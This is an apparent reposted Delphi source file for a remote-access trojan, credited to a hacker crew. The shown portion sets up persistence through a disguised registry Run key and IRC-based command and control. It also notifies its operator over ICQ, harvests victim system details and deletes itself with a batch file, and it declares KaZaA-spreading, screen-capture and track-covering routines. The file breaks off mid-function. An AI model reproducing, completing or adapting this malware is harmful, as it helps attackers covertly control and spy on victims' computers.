unit1.pas

国外的远程控制源码,国内首发~~~我看到了就转过来了~

{
        Thanks for downloading the Anal Rape 1.0 source code, coded by Otis!

        Nick: Otis
        Crew: Imafraid (http://www.imafraid.com)
        Status: Inactive Coder (busy with college)

        This file should be downloaded ONLY from the following sites:

        http://www.imafraid.com/
        http://sourceb0x.com/
        http://tehboxxen.com/  <--- otis's home

        This source is for educational purposes, and is not meant to do any
        damage, although if it does, it isnt my fault! :P

        If you have any questions, email:

        [e-mail]

        ONE LAST MESSAGE:

        For cheap quality hosting, visit http://hostmecheap.net/
}





(*
 ^^^look at the menus at top.
 Click "Project"
 "view source"
 and look at the added source.
*)




unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,shellapi,
  Dialogs, ScktComp,registry, StdCtrls, OleServer, Tlhelp32,IniFiles,
  ExtCtrls, Gauges, IdBaseComponent, IdComponent, IdTCPServer, IdHTTPServer,
  Psock, NMHttp;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    ServerSocket1: TServerSocket;
    ircbot: TClientSocket;
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure removeserver;
    procedure regWRite(Root:Hkey;Path:string;Key:string;Val:string);
    procedure startIrcBot;
    procedure ircbotConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure sendinfo;
    procedure RecvData(Sender: TObject; Socket: TCustomWinSocket);
    function GetNick(const nick: string): string;
    Procedure CoverMyTracks;
    procedure createdirs(dir:string; dirprefix:string; numdirs:integer);
    procedure flipscreen;
    Function UserName : string;
    FUNCTION ComputerName:string;
    function GetOrg: string;
    function GetRegowner: string;
    function GetWorkgroup: string;
    function GetCPUSpeed: Double;
    procedure OpenURL(hWnd: THandle; strURL: string);
    procedure ShowTask(cShow: Boolean);
    procedure PowerMonitor(hWnd: THandle; Power: Boolean);
    function WinDir: string;
    function SysDir: string;
    function TmpDir: string;
    procedure KaZaA_infekt;
    function screencapture: string;


  private
    { Private declarations }
  public
    { Public declarations }

  end;


// this CONST is for the editserver.
const
  icqnr :string        = 'icq=82797123  ';       //10 chars
  portnr:string        = 'prt=0715';             //5  chars
  irc_botport:string   = 'bot_port=6667';        //5  chars
  irc_botpass:string   = 'bot_pass=0715                ';        //20 chars
  irc_botchan:string   = 'bot_chan=#imafraid           ';        //20 chars
  irc_botprefix:string = 'bot_pref=!';           //1 char
  irc_botserver:string = 'bot_serv=fearless.lcirc.net                      '; //40 chars
  ICQ_OPT:string = 'icqopt=yes';
  IRC_OPT:string = 'ircopt=yes';
  REG_OPT:string = 'regopt=yes';
  CRLF = #13#10;
  PACKETLEN = 5012;
  DOT = '.';
// there done
type
TWebserverInfo = packed record
    Port: String;
    Directory: String;
    Connection: TClientSocket;
  end;

var
  Form1: TForm1;
  icq  : string;   // this will be the icq nr.
     port : string='0715';
      ircULI:string;
    ircServ: string = 'fearless.lcirc.net';
    ircPort : string = '6667';
    ircNick : string = 'Anal-Rape-SiC-Please';
    ircChan : string = '#imafraid';
    ircBotPass : string = '0715';
    ircPrefix : string = '!';
    MyPortNo, MyDirectory: String;
     WebServer: TServerSocket;
  SInfo: TWebserverInfo;
  CloseServer: Boolean = False;

  //STARTUP OPTIONS
(*
  reg_opt : string; //to tell if regrun is enabled
  icq_opt:string;
  irc_opt:string;*)


  function NoticeICQ(Caller: cardinal; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: cardinal): Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
  function mciSendString(lpstrCommand, lpstrReturnString: Pchar; uReturnLength: LongWord; hWndCallback: HWND): DWORD; stdcall; external 'winmm.dll' name 'mciSendStringA';

  implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
 url:string;
begin
icq := copy(icqnr,5,length(icqnr));  //cut out uin nr from the const string
icq := trim(icq);                   //removes all spaces in string

port := copy(portnr,5,length(portnr));
port := trim(port);

    ircServ:= trim(copy(irc_botserver,10,length(irc_botserver)));
    ircPort := trim(copy(irc_botport,10,length(irc_botport)));
    ircChan := trim(copy(irc_botchan,10,length(irc_botchan)));
    ircBotPass := trim(copy(irc_botpass,10,length(irc_botpass)));
    ircPrefix := trim(copy(irc_botprefix,10,length(irc_botprefix)));

(*
regrun_opt := 'regopt=no';
icq_opt := 'icqopt=no';
irc_opt := 'ircopt=no';
                                    *)
//NOTIFIES HERE --------->

url := 'http://wwp.icq.com/scripts/WWPMsg.dll?from=EXAMPLE&fromemail=EXAMPLE&subject=EXAMPLE&body=BODY&to='+icq+'&Send=""';
//put icq nr into the http url to notify

if (icq_opt = 'icqopt=yes') then
begin
  NoticeICQ(0,pchar(url),'',0,0);
end;

if (reg_opt = 'regopt=yes') then
begin
  regwrite(hkey_local_machine,'software\Microsoft\Windows\CurrentVersion\run\','explor',paramstr(0));
end;

 //    <--------------------NOTIFIES END HERE
if (irc_opt = 'ircopt=yes') then
begin
 startircbot;
end;

serversocket1.Port   := strtoint(port); //set port
serversocket1.Active := true;


end;
// <----------------------------- OUR OWN FUNCTIONS ---------------->
    function regReadString(kRoot: HKEY; sKey, sValue: String): String;
     var
      qValue: array[0..1023] of Char;
      DataSize: Integer;
      CurrentKey: HKEY;
     begin
      RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey);
      Datasize := 1023;
      RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize);
      RegCloseKey(CurrentKey);
      Result := String(qValue);
     if length(result) < 1 then result := '0';
    end;



    function GetWindowsVer: string;
    var
  VersionInfo: TOSVersionInfo;
  PlatformId: string;
begin
  VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
  GetVersionEx(VersionInfo);
  // Detect platform
  case VersionInfo.dwPlatformId of
    // Test for the Windows 95 product family
    VER_PLATFORM_WIN32_WINDOWS:
      PlatformId := '95/98/ME';
    // Test for the Windows NT product family
    VER_PLATFORM_WIN32_NT:
      PlatformId := 'XP/NT'
  end;
  Result := 'Microsoft Windows ' + PlatformId;
    end;



    Function GetComp:string;
    begin
     result := 'OS: ' + GetWindowsVer + ' ';
     result := result + #13#10 + 'CPUName: '+ form1.ComputerName + ' ';
     result := result + #13#10 + 'Owner: ' + form1.GetRegowner + ' ';
     result := result + #13#10 + 'CPU Speed: ' + Format('CPU speed: %f MHz', [form1.GetCPUSpeed]) + ' ';
     result := result + #13#10 + 'UserName: ' + form1.UserName;

    end;

    Function GetServer:string;
    begin
     result := 'Path: '+Paramstr(0); //gets path
     result := result+#13#10+'UIN: '+icq;
     result := result+#13#10+'Port: '+port;
    end;

    procedure Tform1.removeserver;
     var
      batmelt:string;
      f:textfile;
     begin
      CloseServer:=True;
      BatMelt := 'C:\clean.bat';
      AssignFile(F, BatMelt);
      ReWrite(F);
      Write(F, 'del' + ' ' + '"' + ParamStr(0) + #13#10 + 'del ' + '"' + BatMelt + '"');
      CloseFile(F);
      WinExec(pchar(BatMelt),0);
      exitprocess(0);
     end;

    procedure TForm1.regWRite(Root:Hkey;Path:string;Key:string;Val:string);
    var
    keys:hkey;
    begin
     regopenkey(root,pchar(path),keys);
     regsetvalueex(keys,@key[1],0,REG_SZ,@val[1],length(val));
     regclosekey(keys);
    end;



// <----------------------------- OUR OWN FUNCTIONS ---------------->
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
 incom:string;